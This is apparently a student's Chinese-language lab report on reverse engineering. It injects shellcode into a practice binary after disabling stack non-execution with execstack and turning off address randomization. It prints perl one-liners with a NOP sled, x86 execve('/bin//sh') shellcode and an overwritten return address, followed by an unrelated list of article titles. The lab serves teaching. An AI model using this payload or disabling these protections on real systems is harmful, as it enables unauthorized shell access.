20155311《网络对抗》PC平台逆向破解(二)

  • shellcode注入

    什么是shellcode?
    shellcode是一段代码,溢出后,执行这段代码能开启系统shell。

  • 前期准备——安装execstack,修改设置

  • 输入execstackapt-get install execstack下载exectstack

    设置堆栈可执行execstack -s pwn20155311
    看看堆栈是否可执行execstack -q pwn20155311

  • 输入more /proc/sys/kernel/randomize_va_space,查询地址随机化状态(2表示开启,0表示关闭),若是开启状态,则关闭地址随机化

    关闭地址随机化echo "0" > /proc/sys/kernel/randomize_va_space

  • 准备完毕,开始运行并gdb调试

    输入shellcode的内容perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode运行pwn20155311,输入命令(cat input_shellcode;cat) | ./pwn20155311

  • 通过设置断点,来查看注入buf的内存地址

  • 知道shellcode地址,所以修改为perl -e 'print "A" x 32;print "\x60\xd4\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

  • 查看shellcode转换进制内容xxd input_shellcode,并运行验证是否成功(cat input_shellcode;cat) | ./pwn20155311

最新文章

  1. 旺信UWP倒计时
  2. ACM 变态最大值
  3. 【CUDA学习】共享存储器
  4. Tomcat不能自动编译JSP文件问题的一种解决方法
  5. lucene 建立索引的不同方式
  6. rel=nofollow
  7. Windows7系统禁用USB和启用USB方法
  8. guake默认快捷键
  9. C#基础知识回顾-- 反射(3)
  10. 如何忽略usb host 模式设备连接确认对话框
  11. python 创建mysql数据库
  12. MVC轻量web应用
  13. Android 8.0 无法收到broadcast
  14. selenium+unittest自动化测试
  15. ubuntu 终端作死体验
  16. HBase 笔记3
  17. C++调用openssl实现DES加密解密cbc模式 zeropadding填充方式 pkcs5padding填充方式 pkcs7padding填充方式
  18. 为什么要选择OMP之合规性
  19. 检测鼠标是否在UI上unity
  20. OPENCV SVM介绍和自带例子

热门文章

  1. Flutter 网络请求库http
  2. Python Django框架笔记(二):创建应用和django 管理
  3. MySQL5.6锁阻塞分析
  4. 【爬坑】运行 Hadoop 的 MapReduce 示例卡住了
  5. eclipse快捷键调试总结
  6. sql注入--mysql
  7. Python第一篇-简介和入门
  8. linux(centos 7) 下安装nodejs
  9. Python os.walk() 方法
  10. 使用<button></button>标签